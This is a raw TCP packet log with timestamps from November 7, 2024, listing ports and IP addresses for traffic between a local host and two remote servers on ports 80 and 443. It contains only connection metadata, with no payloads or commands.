Nov 7, 2024 06:01:17.528040886 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528050900 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.528110981 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.528868914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528879881 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528889894 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528894901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528901100 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528915882 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528917074 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.528928041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528939962 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528943062 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.528951883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528963089 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528970957 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.528974056 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528984070 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.528985977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529000998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529021025 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.529046059 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.529783964 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529798031 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529808998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529824972 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.529858112 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.529928923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529941082 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529951096 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529962063 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529973030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529983997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.529990911 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.529994965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530000925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530008078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530014992 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530019999 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530033112 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530034065 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530066013 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530694008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530746937 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530834913 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530847073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530858040 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530869007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530880928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530893087 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530895948 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530906916 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530911922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530922890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530930996 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530937910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.530957937 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.530976057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.533499002 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.534081936 CET	49837	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.534122944 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.534571886 CET	49837	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.534576893 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.577220917 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.580481052 CET	49838	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.580521107 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.580965996 CET	49838	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.580971956 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.637214899 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.638535023 CET	49839	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.638581038 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.639148951 CET	49839	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.639154911 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.646450043 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.646517992 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.646584988 CET	49836	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.646867990 CET	49836	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.646895885 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.646908045 CET	49836	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.646914959 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.649775028 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.649833918 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.649940014 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.650085926 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.650099993 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.661694050 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.661770105 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.661835909 CET	49837	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.662288904 CET	49837	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.662308931 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.662322998 CET	49837	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.662328005 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.665180922 CET	49841	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.665232897 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.665442944 CET	49841	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.665620089 CET	49841	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.665627956 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.680290937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680310011 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680321932 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680330038 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680336952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680371046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680383921 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680404902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680402040 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680430889 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680430889 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680454016 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680469990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680481911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680499077 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680501938 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680529118 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680555105 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680572987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680608034 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680620909 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680643082 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680664062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680675983 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680675983 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680695057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680721045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680767059 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680843115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680855989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680867910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680890083 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680906057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.680958033 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680970907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680982113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.680994987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681004047 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681019068 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681051970 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681056976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681071043 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681081057 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681088924 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681092978 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681106091 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681113005 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681133032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681138992 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681263924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681277037 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681287050 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681298971 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681308985 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681313038 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681318998 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681327105 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681339979 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681348085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681354046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681384087 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681396961 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681474924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681487083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681498051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681519032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681525946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681540012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681551933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681551933 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681571007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681585073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681596041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681597948 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681608915 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681622028 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681643963 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681880951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681893110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681904078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681921959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681932926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681936026 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681943893 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681946993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681967974 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681973934 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.681981087 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.681993961 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.682002068 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.682008028 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.682019949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.682030916 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.682034016 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.682060003 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.682070017 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685353041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685369968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685383081 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685393095 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685399055 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685416937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685424089 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685446978 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685452938 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685461998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685473919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685477018 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685488939 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685492992 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685503960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685511112 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685517073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685530901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685544014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685544014 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685559034 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685560942 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685573101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685585976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685589075 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685597897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685611963 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685620070 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685626030 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685655117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685709000 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685806036 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685817957 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685827971 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685839891 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685841084 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685853958 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685858011 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685897112 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685921907 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.685937881 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685950041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685961008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.685978889 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686007977 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686078072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686089039 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686100960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686113119 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686122894 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686131001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686144114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686157942 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686161041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686167955 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686172962 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686184883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686191082 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686197996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686209917 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686228991 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686408043 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686446905 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686456919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686469078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686479092 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686499119 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686522961 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686645985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686664104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686674118 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686686039 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686691999 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686697960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686711073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686721087 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686729908 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686733961 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686739922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686747074 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686755896 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686759949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686773062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686784029 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686784029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686796904 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686810017 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686810017 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686824083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686825037 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686835051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686846972 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686852932 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686857939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.686888933 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.686888933 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687489986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687505007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687515020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687526941 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687536955 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687539101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687551975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687571049 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687576056 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687583923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687597036 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687606096 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687608004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687614918 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687621117 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687633038 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687643051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687644958 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687654972 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687664032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687666893 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687680960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687685966 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687694073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687704086 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687707901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687721014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687731981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687736988 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687742949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687752008 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687755108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687767029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.687774897 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687808990 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.687836885 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688308954 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688321114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688333035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688359976 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688385963 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688416004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688427925 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688438892 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688450098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688461065 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688463926 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688472986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688478947 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688487053 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688498020 CET	80	49834	185.215.113.16	192.168.2.4
